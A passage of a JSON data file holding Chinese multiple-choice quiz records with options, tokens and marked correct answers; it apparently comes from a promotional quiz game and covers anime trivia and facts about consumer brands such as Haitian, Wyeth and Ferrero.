04:40:39","status":"1"},{"questionId":"1901442081","questionIndex":"3","questionStem":"七龙珠里,悟空的第二个孩子叫什么?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3J_d5AWH2f4yI37M\",\"optionDesc\":\"悟饭\"},{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JpKFcTGPHxrtr3U\",\"optionDesc\":\"小芳\"},{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JLXc1k0SPgLH_cs\",\"optionDesc\":\"悟天\"}]","questionToken":"Ks0Sx0BXjT6uZ9UCoWOscSapuQi1n5mrdM5G1p6x7C8bDY8bZOZRWp3ZFyGF2FVAFDTQHW8r9sbe8F4cSyKVBIU0o96F6A","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZ9VSsiu3JLXc1k0SPgLH_cs\",\"optionDesc\":\"悟天\"}","create_time":"27/1/2021 04:40:41","update_time":"27/1/2021 04:40:41","status":"1"},{"questionId":"1901442082","questionIndex":"2","questionStem":"妖精的尾巴中纳兹所在世界外另一个世界叫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JhN3RRz5HW7X9l-UMQ\",\"optionDesc\":\"阿斯兰特\"},{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JEJVrfGMxaGmQ0YUKQ\",\"optionDesc\":\"艾德拉斯\"},{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3J28jiwnqNlidIE9zHg\",\"optionDesc\":\"艾斯兰登\"}]","questionToken":"Ks0Sx0BXjT6uZNUDoWOscb0ChxTG7C4Ynx_iutOjSlQUZ-vywuunDQscUd2YR8wL5D755y6KIBwDrQj5SPo7WfIgrW9v3A","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZNVSsiu3JEJVrfGMxaGmQ0YUKQ\",\"optionDesc\":\"艾德拉斯\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"1901442083","questionIndex":"5","questionStem":"《刀剑神域》中桐人在SAO里的独特技能是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JhL6hSEdS6fgX06N\",\"optionDesc\":\"狂暴补师\"},{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JBc3YF3ZlgNtwmcS\",\"optionDesc\":\"二刀流\"},{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3J42l-di1uImyM3ZL\",\"optionDesc\":\"圣骑士\"}]","questionToken":"Ks0Sx0BXjT6uZdUEoWOscTfF-VhwJQNsIPmWCLTLr8BHlejiZ9fndq9WvyHX1mRfRL9tCFo5TQ7lEx56g0O5hHMj3T8gYA","correct":"{\"optionId\":\"Ks0Sx0BXjT6uZdVSsiu3JBc3YF3ZlgNtwmcS\",\"optionDesc\":\"二刀流\"}","create_time":"27/1/2021 04:47:32","update_time":"27/1/2021 04:47:32","status":"1"},{"questionId":"1901442084","questionIndex":"1","questionStem":"火影忍者中第一个开启永恒万花筒写轮眼的是","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3J7BicfzFvnk1JnM3ow\",\"optionDesc\":\"宇智波带土\"},{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JssrYZ2vE1xlCoSKSQ\",\"optionDesc\":\"宇智波鼬\"},{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JLk_apDBNB3XG6JXuA\",\"optionDesc\":\"宇智波斑\"}]","questionToken":"Ks0Sx0BXjT6uYtUAoWOsdh6YKVGeSRiSxhju0m3ENZkxQvcRrqlJTfiQuVKQlPJ7oII6BSd7HTTGXi9qrZd4tuA6C4kUPg","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYtVSsiu3JLk_apDBNB3XG6JXuA\",\"optionDesc\":\"宇智波斑\"}","create_time":"27/1/2021 04:33:17","update_time":"27/1/2021 04:33:17","status":"1"},{"questionId":"1901442085","questionIndex":"1","questionStem":"《反叛的鲁路修》中谁有令时间定格的能力?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3J5ZaEWrdAV64NTNB\",\"optionDesc\":\"V.V\"},{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JoLeZZgyUC3X1P8Z\",\"optionDesc\":\"鲁路修\"},{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JJoxhkm2X8leM56P\",\"optionDesc\":\"洛洛\"}]","questionToken":"Ks0Sx0BXjT6uY9UAoWOscfcYabUR1n5HUI6UfTpVtCpJv9DyZ9LmMjgVIdcjjn9lZNHkFPLSsaGK6JvCsHaE0863A8UW_Q","correct":"{\"optionId\":\"Ks0Sx0BXjT6uY9VSsiu3JJoxhkm2X8leM56P\",\"optionDesc\":\"洛洛\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"1901442086","questionIndex":"1","questionStem":"妖精的尾巴众主角在天狼岛被打败后失踪几年","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3J8uEoDzvIvIj-Q\",\"optionDesc\":\"8年\"},{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3Jovngm_evQN41A\",\"optionDesc\":\"9年\"},{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3JP31FXQt7myRvw\",\"optionDesc\":\"7年\"}]","questionToken":"Ks0Sx0BXjT6uYNUAoWOsdul0IFdsm90_5Jl5Fc7ud2WOJS6xr46KBhRkaxQTLXdWCSk8vG15hH9hWrn4oq2B-aJf4bD9og","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYNVSsiu3JP31FXQt7myRvw\",\"optionDesc\":\"7年\"}","create_time":"27/1/2021 04:33:07","update_time":"27/1/2021 04:33:07","status":"1"},{"questionId":"1901442087","questionIndex":"3","questionStem":"以下哪项不是路飞的招式?","options":"[{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JChKO1NQos14RGQ\",\"optionDesc\":\"三千世界\"},{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JpZMxEyIXL-vEuA\",\"optionDesc\":\"橡胶手枪\"},{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3J3NO5B4hi0pEGtg\",\"optionDesc\":\"橡皮火箭炮\"}]","questionToken":"Ks0Sx0BXjT6uYdUCoWOscSICpV1Pd2Rc7J18K6LjDGBN6cYsNQc2a6e8E_ZK7IUMT950CxcNz0jzFVKPF0GWDinGrHaZOQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6uYdVSsiu3JChKO1NQos14RGQ\",\"optionDesc\":\"三千世界\"}","create_time":"27/1/2021 04:51:21","update_time":"27/1/2021 04:51:21","status":"1"},{"questionId":"1901442088","questionIndex":"3","questionStem":"《黑执事》中是谁杀了夏尔的父母?","options":"[{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3J2x6hxKuUR7c6tkyAg\",\"optionDesc\":\"死神格雷尔\"},{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JAzxQx4h6TIgAC-8Og\",\"optionDesc\":\"虐杀天使亚修\"},{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JjWwnvZ-a-t6l0uHAA\",\"optionDesc\":\"红夫人安吉丽娜\"}]","questionToken":"Ks0Sx0BXjT6ubtUCoWOsdlA3Py3fG40T5VvHuEYyWQzlGvjx8O0gCtG7oZxR_jMFVaPaB0q9aiEkcG9uIkFV9GZnMDusnw","correct":"{\"optionId\":\"Ks0Sx0BXjT6ubtVSsiu3JAzxQx4h6TIgAC-8Og\",\"optionDesc\":\"虐杀天使亚修\"}","create_time":"27/1/2021 04:39:47","update_time":"27/1/2021 04:39:47","status":"1"},{"questionId":"1901442089","questionIndex":"1","questionStem":"《火影忍者》中哪项是八尾的能力?","options":"[{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JoL-LbYTqaJdSccqyA\",\"optionDesc\":\"使用泡沫和酸雾\"},{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JFN_Fv-vsbud8a9liA\",\"optionDesc\":\"尾巴有缠绕能力\"},{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3J9Xpmsn9BBiUX5J0-w\",\"optionDesc\":\"控制风沙\"}]","questionToken":"Ks0Sx0BXjT6ub9UAoWOscSLs7t695TpKdOtguqK_2DVApt1NTwBd-uIxuDrTgPGQQLMx5YZs23wGYfK8Yd8JPA_h-8vjag","correct":"{\"optionId\":\"Ks0Sx0BXjT6ub9VSsiu3JFN_Fv-vsbud8a9liA\",\"optionDesc\":\"尾巴有缠绕能力\"}","create_time":"27/1/2021 04:47:03","update_time":"27/1/2021 04:47:03","status":"1"},{"questionId":"1901442091","questionIndex":"2","questionStem":"《轻音部少女》秋山澪在学校人气飙升的原因","options":"[{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3J4Dx5vNdXmY\",\"optionDesc\":\"胆小\"},{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JDDZB-mYVk8\",\"optionDesc\":\"不小心摔倒走光\"},{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JnI-lSe8lbU\",\"optionDesc\":\"害羞性格\"}]","questionToken":"Ks0Sx0BXjT6vZ9UDoWOsdmCdndlEhhwGUzAm-vgV3Ut9662GD5iTq3yne3D1ogYiS2jElRFIR8fNNOtOwBnut8MFAPnC7Q","correct":"{\"optionId\":\"Ks0Sx0BXjT6vZ9VSsiu3JDDZB-mYVk8\",\"optionDesc\":\"不小心摔倒走光\"}","create_time":"27/1/2021 04:37:43","update_time":"27/1/2021 04:37:43","status":"1"},{"questionId":"1901442093","questionIndex":"1","questionStem":"《百变小樱》中小樱的那只太阳封印之兽叫?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JBZAPBbDPpxAX-d9zQ\",\"optionDesc\":\"小可\"},{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JtzcFtRzYkGWInkzMQ\",\"optionDesc\":\"雪兔\"},{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3J_yIDFNZfdRUlvXKfA\",\"optionDesc\":\"月\"}]","questionToken":"Ks0Sx0BXjT6vZdUAoWOsdmPsK-TlSXIVlHF26h3nra3NSJRyfstyoTnHQeBx73a8UrJSKg44qUeZCfu2L3lOfr970285rw","correct":"{\"optionId\":\"Ks0Sx0BXjT6vZdVSsiu3JBZAPBbDPpxAX-d9zQ\",\"optionDesc\":\"小可\"}","create_time":"27/1/2021 04:26:01","update_time":"27/1/2021 04:26:01","status":"1"},{"questionId":"1901442094","questionIndex":"4","questionStem":"宇智波鼬的戒指是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JJIqK018oKnQsi5nlg\",\"optionDesc\":\"朱雀\"},{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3Jjp5-zn8aHRKdfBAgw\",\"optionDesc\":\"玉女\"},{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JzQ90iBH4IL2fhg2lQ\",\"optionDesc\":\"青龙\"}]","questionToken":"Ks0Sx0BXjT6vYtUFoWOsduDaykJcn_xw-mk7_O3GymEX-GOI7bQE-lzC62xZ3k3k86baMr7n7DvK6glUQu_z6XVqi_OfaQ","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYtVSsiu3JJIqK018oKnQsi5nlg\",\"optionDesc\":\"朱雀\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"1901442095","questionIndex":"2","questionStem":"路飞海贼团中赏金最低的是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JKRAqeOGpbKPwLrl\",\"optionDesc\":\"乔巴\"},{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JpumYRl5CE3Hq80y\",\"optionDesc\":\"撒谎布\"},{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3J2D1x22M1DAm1lrk\",\"optionDesc\":\"山治\"}]","questionToken":"Ks0Sx0BXjT6vY9UDoWOsdukM1WkjoiWR5ku8SydL_cQ7SBZ0FreBgj4EL6NccmDqDLjm_TfHIYqujyPyQcnU3S3DOc--Kg","correct":"{\"optionId\":\"Ks0Sx0BXjT6vY9VSsiu3JKRAqeOGpbKPwLrl\",\"optionDesc\":\"乔巴\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"1901442096","questionIndex":"3","questionStem":"EVA中零号机的驾驶员是?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JrP8fGpJbA-53BOE8A\",\"optionDesc\":\"渚薰\"},{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3J7T_Jgai01aoMUZxPA\",\"optionDesc\":\"明日香\"},{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JIvOZFQUnithL33TeA\",\"optionDesc\":\"绫波丽\"}]","questionToken":"Ks0Sx0BXjT6vYNUCoWOscY_eJQLPA0z4XbKOjtzN8RvaBRbYjzqq6LAp4h39fW6a3RqSWAPWGhovw0TrWpFdymXSFHdH7w","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYNVSsiu3JIvOZFQUnithL33TeA\",\"optionDesc\":\"绫波丽\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"1901442097","questionIndex":"1","questionStem":"以下作品哪部不是皮克斯动画工厂出产的?","options":"[{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JnmAymS4-ak9wm4\",\"optionDesc\":\"《飞屋环游记》\"},{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3J_dEdE0ePTjSNPQ\",\"optionDesc\":\"《海底总动员》\"},{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JMiEi_X4OUU6FWo\",\"optionDesc\":\"《冰河世纪》\"}]","questionToken":"Ks0Sx0BXjT6vYdUAoWOsdrZZgEm2QRy-Nt2E71XM-ITDNrh_kNTCvDVGQWcubvafpa74FirEqrX_nqEd8HOpMI4FvRsUgA","correct":"{\"optionId\":\"Ks0Sx0BXjT6vYdVSsiu3JMiEi_X4OUU6FWo\",\"optionDesc\":\"《冰河世纪》\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"4901451124","questionIndex":"2","questionStem":"金水宝胶囊礼盒是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8L9piF_LwH1NcmYkb_Q\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8LeWc59SVJsmr4pCRIg\",\"optionDesc\":\"金色\"},{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8Lni-WUZoKb93yr7kqg\",\"optionDesc\":\"白色\"}]","questionToken":"L80Sx0BWjj8N8PMOn5fnfzMqdCJnK6iwkmcALCC5CZggrTZhg8z-PgIA39KLTPdOlDZAYKOvP7DcMgHBIcG6-Yo6dF2uQA","correct":"{\"optionId\":\"L80Sx0BWjj8N8PNfjN_8LeWc59SVJsmr4pCRIg\",\"optionDesc\":\"金色\"}","create_time":"27/1/2021 04:39:40","update_time":"27/1/2021 04:39:40","status":"1"},{"questionId":"4901451125","questionIndex":"3","questionStem":"济民可信的LOGO是什么颜色?","options":"[{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8LxOb050Gpi-IzMZgpw\",\"optionDesc\":\"金色\"},{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8LrIwUWKFTBv0Q8vaaA\",\"optionDesc\":\"白色\"},{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8Lfmpc43ja3asLAebbg\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8N8fMPn5fneLoKbhQ9R2447f_3UUxlQjdei7v-3JdoyPD-H5PsCVpQhmcy0MRTDuNqhq9n8Xvky1UhShFe8A","correct":"{\"optionId\":\"L80Sx0BWjj8N8fNfjN_8Lfmpc43ja3asLAebbg\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 03:40:21","update_time":"27/1/2021 03:40:21","status":"1"},{"questionId":"4901451126","questionIndex":"5","questionStem":"济民可信总部位于哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8L4xqSWVKEf-YT_B9pQ\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LupLnfNbi96K9iVh1w\",\"optionDesc\":\"上海\"},{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LUkamSkQhBncnwP7og\",\"optionDesc\":\"江西南昌\"}]","questionToken":"L80Sx0BWjj8N8vMJn5fneG3jHWPQzrAiat762qiYG69X6cnqYlZChznoKs9tYcnFhdbuqzrLLdh_RALHDZqd9QA1fhvLEA","correct":"{\"optionId\":\"L80Sx0BWjj8N8vNfjN_8LUkamSkQhBncnwP7og\",\"optionDesc\":\"江西南昌\"}","create_time":"27/1/2021 04:48:58","update_time":"27/1/2021 04:48:58","status":"1"},{"questionId":"4901451127","questionIndex":"5","questionStem":"顾家是做什么起家的?","options":"[{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8LcuSemUWslsOja4D\",\"optionDesc\":\"沙发\"},{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8Ln-6TAL-TO4s2L2y\",\"optionDesc\":\"床垫\"},{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8L3LaCJNIdqxGHs-2\",\"optionDesc\":\"椅子\"}]","questionToken":"L80Sx0BWjj8N8_MJn5fnfwCJwlEQdYX6heTUPA7ZCcr9IbqUZa20H1ihyUvJg6jvuKr0ZKHRCCSFvpW81WEIS4tvGBzEBw","correct":"{\"optionId\":\"L80Sx0BWjj8N8_NfjN_8LcuSemUWslsOja4D\",\"optionDesc\":\"沙发\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"4901451128","questionIndex":"1","questionStem":"顾家的总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8L8wwTHZOy7obO9Rk\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LXM-k7ebBdN2l__Z\",\"optionDesc\":\"杭州\"},{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LuT0uvifcYTZd4ZI\",\"optionDesc\":\"上海\"}]","questionToken":"L80Sx0BWjj8N_PMNn5fnfwFApV8Fw-eEVn6m5KBfj8uvr7pKMD8SVDHnIlJ8RI2NwFP8W_46dJJQDAypkxWH2CkcEKjRBg","correct":"{\"optionId\":\"L80Sx0BWjj8N_PNfjN_8LXM-k7ebBdN2l__Z\",\"optionDesc\":\"杭州\"}","create_time":"27/1/2021 04:39:54","update_time":"27/1/2021 04:39:54","status":"1"},{"questionId":"4901451129","questionIndex":"2","questionStem":"顾家家居的logo颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8LpbasjLTyQgBSsbR\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8Ldwfn2vqUutCgGfB\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8L7qQ6psnrd-i1Ilp\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjj8N_fMOn5fnf7zQW3z7mjsiUTzbo6AoOunHNz6tTSRTM1lti7vVEoULKl5AiF5iBz4SFIaqAAYMHlNupiaUbA","correct":"{\"optionId\":\"L80Sx0BWjj8N_fNfjN_8Ldwfn2vqUutCgGfB\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:36:08","update_time":"27/1/2021 04:36:08","status":"1"},{"questionId":"4901451130","questionIndex":"2","questionStem":"海天的logo颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8L8fQYpVsnA0IcoTSnw\",\"optionDesc\":\"绿色\"},{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LVTk3W8Fs7cNmqzG_Q\",\"optionDesc\":\"红色\"},{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LqihkdKj9Z9YAuX1ig\",\"optionDesc\":\"蓝色\"}]","questionToken":"L80Sx0BWjj8M9PMOn5fneNR_m12cjy77LWTuboTlY-8JQwshnXPX1h4w4n0TpZLkioYEJp3sjtI-X_nSApl3oQ9OrxJHRg","correct":"{\"optionId\":\"L80Sx0BWjj8M9PNfjN_8LVTk3W8Fs7cNmqzG_Q\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:32:55","update_time":"27/1/2021 04:32:55","status":"1"},{"questionId":"4901451131","questionIndex":"1","questionStem":"海天主要卖什么产品?","options":"[{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LTmML9fZvWTQkmM\",\"optionDesc\":\"调味品\"},{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8L-yGqokz3asdX5o\",\"optionDesc\":\"清洁用品\"},{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LjxFguqbBmJe8oE\",\"optionDesc\":\"电子设备\"}]","questionToken":"L80Sx0BWjj8M9fMNn5fneHYfGu_p1p6MBC0DAHZAXI96XYSJF0fyOl2YfHdDJr4_-YLgSx5b-WR89mjchQYoM1TxSfuREw","correct":"{\"optionId\":\"L80Sx0BWjj8M9fNfjN_8LTmML9fZvWTQkmM\",\"optionDesc\":\"调味品\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"4901451132","questionIndex":"3","questionStem":"海天工厂总部在哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8L6waO0iNorhczZs\",\"optionDesc\":\"北京\"},{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8LQ1JIZNvWcbXF84\",\"optionDesc\":\"广东佛山\"},{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8Li_a1hvQ18vb94E\",\"optionDesc\":\"四川成都\"}]","questionToken":"L80Sx0BWjj8M9vMPn5fneONoSpqduSXBYNm5NkrTdRVFIuZ8MtY4TwfU-zBiwJD3xCH-nZHELMArqt-f9FpKSTjbi7JM1A","correct":"{\"optionId\":\"L80Sx0BWjj8M9vNfjN_8LQ1JIZNvWcbXF84\",\"optionDesc\":\"广东佛山\"}","create_time":"27/1/2021 04:56:31","update_time":"27/1/2021 04:56:31","status":"1"},{"questionId":"4901451133","questionIndex":"3","questionStem":"惠氏启赋的罐子是什么颜色的?","options":"[{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8L_07aOoBi0PEqXA\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8LTErxSkg2vF6i2Y\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8Liq2tZ0x-TphUhI\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjj8M9_MPn5fnf8WfhBlvnKjMEIoA4UNmEIW4C0XagfsfZ3IkmZRkD1oZ4kb_vbK1k9O0yQcPnfGHvWLmPuWTbg","correct":"{\"optionId\":\"L80Sx0BWjj8M9_NfjN_8LTErxSkg2vF6i2Y\",\"optionDesc\":\"蓝色\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"4901451134","questionIndex":"4","questionStem":"惠氏有机奶粉的奶源来自哪里?","options":"[{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8L2nsxfpnh6UCGVdFxA\",\"optionDesc\":\"西班牙\"},{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LmpOiHWxrT6Lui-m1Q\",\"optionDesc\":\"印度\"},{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LWAxE5BdKxIgizxVHA\",\"optionDesc\":\"爱尔兰\"}]","questionToken":"L80Sx0BWjj8M8PMIn5fnfwfFeM9-Rk_3sONryn5tOju7EMtSkUQyzBqBdnUWicy18A7tHf-KnlFer-dZAYYyiwd5anhKKg","correct":"{\"optionId\":\"L80Sx0BWjj8M8PNfjN_8LWAxE5BdKxIgizxVHA\",\"optionDesc\":\"爱尔兰\"}","create_time":"27/1/2021 04:45:00","update_time":"27/1/2021 04:45:00","status":"1"},{"questionId":"4901451135","questionIndex":"2","questionStem":"以下哪个选项是惠氏铂臻奶粉没有的成分?","options":"[{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LV7PGov3Xc-4cvJc\",\"optionDesc\":\"珍稀植物钙\"},{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LyY1wmUvpHqDI2K5\",\"optionDesc\":\"双短链益生元\"},{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LgvKqjxuHUmwokds\",\"optionDesc\":\"脑磷脂群\"}]","questionToken":"L80Sx0BWjj8M8fMOn5fnf_X9bjpEmK22UFANhJDM0Gh_Blq2EGa4Gu_nXyyE7-4sTd0jHpAck5EovKteVLwRsjquB1tetA","correct":"{\"optionId\":\"L80Sx0BWjj8M8fNfjN_8LV7PGov3Xc-4cvJc\",\"optionDesc\":\"珍稀植物钙\"}","create_time":"27/1/2021 04:50:45","update_time":"27/1/2021 04:50:45","status":"1"},{"questionId":"4901451136","questionIndex":"1","questionStem":"福临门logo的颜色是?","options":"[{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8LU-5tsxBAmc1pRlD\",\"optionDesc\":\"黄色\"},{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8L51d3KlBsTg-pxma\",\"optionDesc\":\"黑色\"},{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8Ll7O2rmjjZz-yFNq\",\"optionDesc\":\"红色\"}]","questionToken":"L80Sx0BWjj8M8vMNn5fnfxditx4vMSyPxfpQxB_8FVxcLZQlULqR_NNwlTNYDgvMrFXbEP_d_oipN_ab9EaNKd9m0r-4gw","correct":"{\"optionId\":\"L80Sx0BWjj8M8vNfjN_8LU-5tsxBAmc1pRlD\",\"optionDesc\":\"黄色\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"4901451137","questionIndex":"5","questionStem":"福临门成立时间是哪一年?","options":"[{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8L31YgZHbgiJeQs3n\",\"optionDesc\":\"2020年\"},{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LkYkdtqldomZ5izN\",\"optionDesc\":\"2018年\"},{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LaNy3kemH8veVw9q\",\"optionDesc\":\"2007年\"}]","questionToken":"L80Sx0BWjj8M8_MJn5fneGvHD7obpPVOyAv0sCql7koayKgV90qbT5XGi7L1Efq6BUjDXtdJPDICOuzRLP2_UNleOJX8pg","correct":"{\"optionId\":\"L80Sx0BWjj8M8_NfjN_8LaNy3kemH8veVw9q\",\"optionDesc\":\"2007年\"}","create_time":"27/1/2021 04:52:20","update_time":"27/1/2021 04:52:20","status":"1"},{"questionId":"4901451138","questionIndex":"1","questionStem":"以下哪个属于福临门产品?","options":"[{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LeeToy2-HOlFuSTIqg\",\"optionDesc\":\"食用油\"},{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8L8ZeP-F2GtREahr8fg\",\"optionDesc\":\"薯片\"},{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LkH1UnQrOIUPvhm_kA\",\"optionDesc\":\"抽纸\"}]","questionToken":"L80Sx0BWjj8M_PMNn5fneGYqFgXUjuKcsPnhCmvgl5nLiVnL9h25zFyU3990NIEyArLSmLxvbgMqbyKePpqfhCbMHCUDhg","correct":"{\"optionId\":\"L80Sx0BWjj8M_PNfjN_8LeeToy2-HOlFuSTIqg\",\"optionDesc\":\"食用油\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"4901451139","questionIndex":"2","questionStem":"费列罗源自于哪国?","options":"[{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8L_9zjdQtR5kphZvU\",\"optionDesc\":\"英国\"},{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LrUycWp_uYp94f3V\",\"optionDesc\":\"德国\"},{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LYH1l-nA4jdDI_Sj\",\"optionDesc\":\"意大利\"}]","questionToken":"L80Sx0BWjj8M_fMOn5fneDJI8k7-koxFTrEyxjAyfE2_XDGhDuAyGMiI1XzJKaMexFteqPW1stOpBc-BnzEj-P2vdIm33A","correct":"{\"optionId\":\"L80Sx0BWjj8M_fNfjN_8LYH1l-nA4jdDI_Sj\",\"optionDesc\":\"意大利\"}","create_time":"27/1/2021 04:48:24","update_time":"27/1/2021 04:48:24","status":"1"},{"questionId":"4901451140","questionIndex":"1","questionStem":"费列罗主要卖什么产品?","options":"[{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8Lm_Qs3c_5L8QnDVT\",\"optionDesc\":\"面包\"},{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8L2f6cpKmGJ-N6pGs\",\"optionDesc\":\"牛奶\"},{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8LY_opPE6bjIxxLzi\",\"optionDesc\":\"巧克力\"}]","questionToken":"L80Sx0BWjj8L9PMNn5fnfzV8eVNY-VR7DBULBA_Dmuo3p5iYGO1dvVXCX5KfYKS9yUkcoSoiZXCphfoKmo04VPtgin5zig","correct":"{\"optionId\":\"L80Sx0BWjj8L9PNfjN_8LY_opPE6bjIxxLzi\",\"optionDesc\":\"巧克力\"}","create_time":"27/1/2021 04:47:12","update_time":"27/1/2021 